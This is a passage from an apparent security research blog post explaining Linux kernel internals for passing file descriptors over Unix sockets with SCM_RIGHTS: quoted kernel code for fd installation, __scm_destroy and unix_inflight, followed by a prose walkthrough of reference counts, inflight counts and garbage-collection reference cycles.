<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">break</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> err </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> get_unused_fd_flags</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">MSG_CMSG_CLOEXEC </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0"> msg</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13">msg_flags</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">?</span><span class="ykcrMYlEiJ-c0"> O_CLOEXEC </span><span class="ykcrMYlEiJ-c10">:</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c35">0</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">err </span><span class="ykcrMYlEiJ-c10"><</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c35">0</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">break</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> new_fd </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> err</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> err </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> put_user</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">new_fd</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> cmfptr</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">err</span><span class="ykcrMYlEiJ-c10">)</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> put_unused_fd</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">new_fd</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">break</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">}</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c23">/* Bump the usage count and install the file. */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> sock </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> sock_from_file</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">[</span><span class="ykcrMYlEiJ-c0">i</span><span class="ykcrMYlEiJ-c10">],</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0">err</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">sock</span><span class="ykcrMYlEiJ-c10">)</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> sock_update_netprioidx</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">sock</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">sk</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">sk_cgrp_data</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> sock_update_classid</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">sock</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">sk</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">sk_cgrp_data</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">}</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> fd_install</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">new_fd</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> get_file</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">[</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">i</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">]));</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">}</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">…</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">/*</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * All of the files that fit in the message have had their</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * usage counts incremented, so we just free the list.</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">__scm_destroy</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">scm</span><span class="c10 c13 c7">);</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Once the file descriptors have been installed</span><span>, </span><span class="ykcrMYlEiJ-c3">__scm_destroy</span><span> (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/core/scm.c#L119">link</a></span><span>) cleans up the allocated </span><span class="ykcrMYlEiJ-c3">scm->fp</span><span class="ykcrMYlEiJ-c2"> and decrements the file reference count for every transmitted file structure:</span></p><a id="t.f6edb942990216f6cb0c4a0bd7dc5c0cd5bf15f9"></a><a id="t.6"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">void</span><span class="ykcrMYlEiJ-c0"> __scm_destroy</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> scm_cookie </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">scm</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> scm_fp_list </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">fpl </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> scm</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">int</span><span class="ykcrMYlEiJ-c0"> i</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">fpl</span><span class="ykcrMYlEiJ-c10">)</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> scm</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">fp </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> NULL</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">for</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">i</span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0">fpl</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">count</span><span class="ykcrMYlEiJ-c10">-</span><span class="ykcrMYlEiJ-c35">1</span><span class="ykcrMYlEiJ-c10">;</span><span class="ykcrMYlEiJ-c0"> i</span><span class="ykcrMYlEiJ-c10">>=</span><span class="ykcrMYlEiJ-c35">0</span><span class="ykcrMYlEiJ-c10">;</span><span class="ykcrMYlEiJ-c0"> i</span><span class="ykcrMYlEiJ-c10">--)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fput</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fpl</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">[</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">i</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">]);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> free_uid</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">fpl</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">user</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> kfree</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">fpl</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">}</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">}</span></p></td></tr></table><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.zi0w3dhxm2me"><span class="ykcrMYlEiJ-c1">Reference Counting and Inflight Counting</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>As mentioned above, when a file descriptor is passed using </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS,</span><span class="ykcrMYlEiJ-c2"> its reference count is immediately incremented. Once the recipient socket has accepted and installed the passed file descriptor, the reference count is then decremented. The complication comes from the “middle” of this operation: after the file descriptor has been sent, but before the receiver has accepted and installed the file descriptor.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">Let’s consider the following scenario:</span></p><ol class="c27 lst-kix_3a2g7o19wgb3-0 start" start="1"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>The process creates sockets </span><span class="ykcrMYlEiJ-c8">A</span><span> and </span><span class="ykcrMYlEiJ-c8">B</span><span class="ykcrMYlEiJ-c2">.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">A</span><span> sends socket </span><span class="ykcrMYlEiJ-c8">A </span><span>to socket </span><span class="ykcrMYlEiJ-c8">B</span><span class="ykcrMYlEiJ-c2">.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">B</span><span> sends socket </span><span class="ykcrMYlEiJ-c8">B</span><span> to socket </span><span class="ykcrMYlEiJ-c8">A</span><span class="ykcrMYlEiJ-c2">.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Close </span><span class="ykcrMYlEiJ-c8">A</span><span class="ykcrMYlEiJ-c2">.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Close </span><span class="ykcrMYlEiJ-c8">B</span><span class="ykcrMYlEiJ-c2">.</span></li></ol>
<p class="c31 c20 c48"></p>
<p class="c31 c20 c48"><span class="ykcrMYlEiJ-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixn2j2I0_3XKxc7uimc_-Bd2F7fUflziTRwXRLeCfzDzrA_GKDsDLvqidYluwq_lGptlzWkZ3DD4f2DGnyjuALHuH46yzHjovkrVdzuG-Ncgi4WphgXf9HK_RPnxB91R07fG7cnyy4wZN-M3qZtb6uKOwarRmxIPdQWbJVA-KQlhKQBBR4EZS6aZDe/s724/image66.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixn2j2I0_3XKxc7uimc_-Bd2F7fUflziTRwXRLeCfzDzrA_GKDsDLvqidYluwq_lGptlzWkZ3DD4f2DGnyjuALHuH46yzHjovkrVdzuG-Ncgi4WphgXf9HK_RPnxB91R07fG7cnyy4wZN-M3qZtb6uKOwarRmxIPdQWbJVA-KQlhKQBBR4EZS6aZDe/s724/image66.png" border="0" alt="Socket A and B form a reference count cycle." style="max-height: 750px; max-width: 600px;"title="Socket A and B form a reference count cycle." /></a></span></p>
<p class="ykcrMYlEiJ-c20 ykcrMYlEiJ-c31"><span class="c34 c19 c32">Scenario for reference count cycle</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Both sockets are closed prior to accepting the passed file descriptors.The reference counts of </span><span class="ykcrMYlEiJ-c8">A</span><span> and </span><span class="ykcrMYlEiJ-c8">B</span><span> are both 1 and can't be further decremented because they were removed from the kernel fd table when the respective processes closed them. Therefore the kernel is unable to release the two skbs and sock structures </span><span>and an unbreakable cycle is formed</span><span>. The Linux kernel garbage collection system is designed to prevent memory exhaustion in this particular scenario. The </span><span class="ykcrMYlEiJ-c3">inflight</span><span> count was implemented to identify potential garbage. Each time the reference count is increased due to an SCM_RIGHTS datagram being sent, the </span><span class="ykcrMYlEiJ-c3">inflight</span><span class="ykcrMYlEiJ-c2"> count will also be incremented.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>When a file descriptor is sent by </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span> datagram,</span><span> the Linux kernel puts its </span><span class="ykcrMYlEiJ-c3">unix_sock</span><span> into a global list </span><span class="ykcrMYlEiJ-c3">gc_inflight_list</span><span>. The kernel</span><span> </span><span>increments </span><span class="ykcrMYlEiJ-c3">unix_tot_inflight</span><span> which counts the total number of inflight sockets. Then, the kernel increments </span><span class="ykcrMYlEiJ-c3">u->inflight</span><span> which tracks the inflight count for each individual file descriptor in the </span><span class="ykcrMYlEiJ-c3">unix_inflight</span><span> function (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/scm.c#L45">scm.c#L45</a></span><span>) invoked from </span><span class="ykcrMYlEiJ-c3">unix_attach_fds</span><span>:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.029ba7ef27b97405e8e6fdfbd115b01f42a3bdd9"></a><a id="t.7"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">void</span><span class="ykcrMYlEiJ-c0"> unix_inflight</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> user_struct </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">user</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> file </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> sock </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">s </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> unix_get_socket</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> spin_lock</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">unix_gc_lock</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">s</span><span class="ykcrMYlEiJ-c10">)</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> unix_sock </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">u </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> unix_sk</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">s</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c14 ykcrMYlEiJ-c7">if</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">atomic_long_inc_return</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">u</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">inflight</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">)</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">==</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c35 ykcrMYlEiJ-c7">1</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">)</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> BUG_ON</span><span class="ykcrMYlEiJ-c10">(!</span><span class="ykcrMYlEiJ-c0">list_empty</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">link</span><span class="ykcrMYlEiJ-c10">));</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> list_add_tail</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">u</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">link</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">gc_inflight_list</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">}</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">else</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> BUG_ON</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">list_empty</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">link</span><span class="ykcrMYlEiJ-c10">));</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">}</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> unix_tot_inflight</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">++;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">}</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> user</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">unix_inflight</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">++;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> spin_unlock</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">unix_gc_lock</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">}</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Thus, here is what the </span><span class="ykcrMYlEiJ-c3">sk_buff</span><span> looks like when transferring a file descriptor within sockets </span><span class="ykcrMYlEiJ-c8">A</span><span> and </span><span class="ykcrMYlEiJ-c8">B</span><span class="ykcrMYlEiJ-c2">:</span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7JYdav9RAoJLT1TJAAfsVJ6kudGtVBqb8V8Xs0DjEVDEfouQv3SX06oh4AmpRx8UrMNnjqhe0i0FYB6c2jjNtiwGSa1LpHSsg-0AI270tzyX2ziVEHuOO69qTIYhjj780S0oMvXfrdAuyNImJYtBfZ8oUV869w62NV5wshFX3cM0hpmPW219HZT3u/s756/image64.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7JYdav9RAoJLT1TJAAfsVJ6kudGtVBqb8V8Xs0DjEVDEfouQv3SX06oh4AmpRx8UrMNnjqhe0i0FYB6c2jjNtiwGSa1LpHSsg-0AI270tzyX2ziVEHuOO69qTIYhjj780S0oMvXfrdAuyNImJYtBfZ8oUV869w62NV5wshFX3cM0hpmPW219HZT3u/s756/image64.png" border="0" alt="When the file descriptor A sends itself to the file descriptor B, the reference count of the file descriptor A is 2 and the inflight count is 1. For the receiver file descriptor B, the file reference count is 1 and the inflight count is 0." style="max-height: 750px; max-width: 600px;"title="When the file descriptor A sends itself to the file descriptor B, the reference count of the file descriptor A is 2 and the inflight count is 1. For the receiver file descriptor B, the file reference count is 1 and the inflight count is 0." /></a></span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c32">The inflight count of </span><span class="ykcrMYlEiJ-c8">A</span><span class="c34 c19 c32"> is incremented</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>When the socket file descriptor is received from the other side, the </span><span class="ykcrMYlEiJ-c3">unix_sock.inflight</span><span class="ykcrMYlEiJ-c2"> count will be decremented.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Let’s revisit the reference count cycle scenario before the close syscall. </span><span>This cycle is breakable because any socket files can receive the transmitted file and break the reference cycle:</span><span class="ykcrMYlEiJ-c32"> </span></p>
<p class="c31 c20 c48"></p>
<p class="c31 c20 c48"><span><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXASWOd1HPgwueBa5J636vqpj3uP4onThAwMEL0K_ZBBh3mUr5WklN_YPLIYzXaKl2aSpzcf_odw0ymXe-k7wewgh592dQfkj8AYn6r4jHVh6TXpML2-zsCyFt6ZjmR8N-hcyCeHIwVDjtgCGuRU-YfulCdMk5GWTu9h7X8N7iuCV7GXkzLOKEwFy9/s704/image70.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXASWOd1HPgwueBa5J636vqpj3uP4onThAwMEL0K_ZBBh3mUr5WklN_YPLIYzXaKl2aSpzcf_odw0ymXe-k7wewgh592dQfkj8AYn6r4jHVh6TXpML2-zsCyFt6ZjmR8N-hcyCeHIwVDjtgCGuRU-YfulCdMk5GWTu9h7X8N7iuCV7GXkzLOKEwFy9/s704/image70.png" border="0" alt="The file descriptor A sends itself to the file descriptor B and vice versa. The inflight count of the file descriptor A and B is both 1 and the file reference count is both 2." style="max-height: 750px; max-width: 600px;"title="The file descriptor A sends itself to the file descriptor B and vice versa. The inflight count of the file descriptor A and B is both 1 and the file reference count is both 2." /></a></span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c32">Breakable cycle before close </span><span class="ykcrMYlEiJ-c8">A</span><span class="ykcrMYlEiJ-c32"> and </span><span class="ykcrMYlEiJ-c8">B</span></p>
